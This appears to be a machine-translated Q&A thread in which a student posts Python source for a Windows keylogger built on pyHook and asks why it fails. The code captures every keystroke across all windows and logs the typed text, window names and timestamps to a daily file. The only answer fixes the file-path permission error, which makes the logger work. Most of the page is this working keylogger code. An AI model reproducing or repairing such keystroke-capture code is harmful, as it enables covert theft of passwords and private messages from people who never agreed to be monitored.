键盘记错误

时间:2017-03-31 21:05:41

标签: python keylogger

我是这个网站的新手,今年我们开始在学校学习python,但我们做了基本的事情,我有点无聊所以我在寻找有趣的脚本,直到我找到了如何制作键盘记录器。我得到了一些代码,但它不起作用。我修复了一些错误,但仍然

(注1:我不会在其他任何地方使用它,除了我的旧电脑所以是的,不是想成为黑客或w / e)

(注2:抱歉我的英语不好,希腊语:P)

import pyHook, pythoncom
from datetime import datetime

todays_date = datetime.now().strftime('%Y-%b-%d')
file_name = 'C:\\Documents'+todays_date+'.txt'

line_buffer = "" #current typed line before return character
window_name = "" #current window

def SaveLineToFile(line):
current_time = datetime.now().strftime('%H:%M:%S')
line = "[" + current_time + "] " + line
todays_file = open(file_name, 'a') #open todays file (append mode)
todays_file.write(line) #append line to file
todays_file.close() #close todays file

def OnKeyboardEvent(event):
global line_buffer
global window_name

#print 'Ascii:', event.Ascii, chr(event.Ascii) #pressed value

"""if typing in new window"""
if(window_name != event.WindowName): #if typing in new window
    if(line_buffer != ""): #if line buffer is not empty
        line_buffer += '\n'
        SaveLineToFile(line_buffer) #print to file: any non printed                   characters from old window

    line_buffer = "" #clear the line buffer
    SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print       to file: the new window name
    window_name = event.WindowName #set the new window name

"""if return or tab key pressed"""
if(event.Ascii == 13 or event.Ascii == 9): #return key
    line_buffer += '\n'
    SaveLineToFile(line_buffer) #print to file: the line buffer
    line_buffer = "" #clear the line buffer
    return True #exit event

"""if backspace key pressed"""
if(event.Ascii == 8): #backspace key
    line_buffer = line_buffer[:-1] #remove last character
    return True #exit event

"""if non-normal ascii character"""
if(event.Ascii < 32 or event.Ascii > 126):
    if(event.Ascii == 0): #unknown character (eg arrow key, shift, ctrl, alt)
        pass #do nothing
    else:
        line_buffer = line_buffer + '\n' + str(event.Ascii) + '\n'
else:
    line_buffer += chr(event.Ascii) #add pressed character to line buffer

return True #pass event to other handlers

hooks_manager = pyHook.HookManager() #create hook manager
hooks_manager.KeyDown = OnKeyboardEvent #watch for key press
hooks_manager.HookKeyboard() #set the hook
pythoncom.PumpMessages() #wait for events

错误是:

Traceback (most recent call last):
File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in        KeyboardSwitch
return func(event)
File "C:\Python27\test123.py", line 30, in OnKeyboardEvent
SaveLineToFile('\n-----WindowName: ' + event.WindowName + '\n') #print to    file: the new window name
File "C:\Python27\test123.py", line 13, in SaveLineToFile
todays_file = open(file_name, 'a') #open todays file (append mode)
IOError: [Errno 13] Permission denied: 'C:\\Documents2017-Mar-31.txt'

1 个答案:

答案 0 :(得分:1)

正如错误消息所说,代码本身没有问题,但是python必须能够访问要保存文档的文件夹。尝试使用其他文件夹或在运行时使用Python管理员权限程序。对我来说file_name = 'C:\\Users\\{MyName}\\Documents\\'+todays_date+'.txt'工作得很好。

相关问题